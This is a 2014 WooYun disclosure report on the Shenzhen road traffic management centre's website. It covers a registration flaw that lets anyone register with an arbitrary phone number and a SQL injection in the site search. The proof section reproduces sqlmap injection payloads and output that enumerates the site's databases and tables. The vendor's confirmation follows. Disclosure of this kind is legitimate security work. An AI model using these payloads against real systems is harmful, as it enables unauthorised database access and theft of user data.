当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066831

漏洞标题：某道路交通管理事务中心任意手机用户注册+SQL注入

相关厂商：深圳市道路交通管理事务中心

漏洞作者： 路人甲

提交时间：2014-07-01 12:09

修复时间：2014-08-15 12:10

公开时间：2014-08-15 12:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：11

漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-01： 细节已通知厂商并且等待厂商处理中
2014-07-01： 厂商已经确认，细节仅向厂商公开
2014-07-11： 细节向核心白帽子及相关领域专家公开
2014-07-21： 细节向普通白帽子公开
2014-07-31： 细节向实习白帽子公开
2014-08-15： 细节向公众公开

简要描述：

某道路交通管理事务中心任意手机用户注册+SQL注入

详细说明：

深圳市道路交通管理事务中心:http://www.szrtc.cn/
上个月就看了这个站,刚刚看到有人发了乌云:

 WooYun: 手机注册验证码明文返回可任意注册用户 
正好最近也看到这个网站在版本.于是又登录看了下,但问题还是存在的.


1.任意手机用户注册:

http://www.szrtc.cn/Home/Register

(在注册页面输入自己手机号码.获取验证码之后重新修改任意号码即可)

sz1.gif

sz2.gif

sz3.gif

sz4.gif


2.SQL注入:

http://www.szrtc.cn/Search/AdvanceResult?c=new&searchContent=1

sz5.gif

漏洞证明：

Place: GET
Parameter: searchContent
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: searchContent=0%' AND 5033=5033 AND '%'='
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
    Payload: searchContent=0%' AND 7762=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND '%'='
---
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
available databases [7]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SZRTCWeb_Product
[*] tempdb
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: searchContent
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: searchContent=0%' AND 5033=5033 AND '%'='
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
    Payload: searchContent=0%' AND 7762=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND '%'='
---
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
current database:    'SZRTCWeb_Product'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: searchContent
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: searchContent=0%' AND 5033=5033 AND '%'='
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
    Payload: searchContent=0%' AND 7762=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND '%'='
---
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
Database: SZRTCWeb_Product
[20 tables]
+----------------------------+
| CIT_AnswerSheet            |
| CIT_AnswerSheet_Answer     |
| CIT_Question               |
| CIT_QuestionType           |
| CIT_Questionnaire          |
| CIT_Questionnaire_Options  |
| CIT_Questionnaire_Question |
| NEWS_Article               |
| NEWS_Attachment            |
| NEWS_Column                |
| USER_Account               |
| USER_AccountRole           |
| USER_Department            |
| USER_FunctionPermission    |
| USER_Functions             |
| USER_Menu                  |
| USER_MenuPermission        |
| USER_Role                  |
| Vw_AdvancedSearch          |
| Vw_UserOrRolePermission    |
+----------------------------+

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-07-01 16:31

厂商回复：

非常感谢您的报告。
报告中的问题已确认并复现。
影响的数据：中
攻击成本：低
造成影响：高
综合评级为：高，rank：15
正在联系相关网站管理单位处置

最新状态：

暂无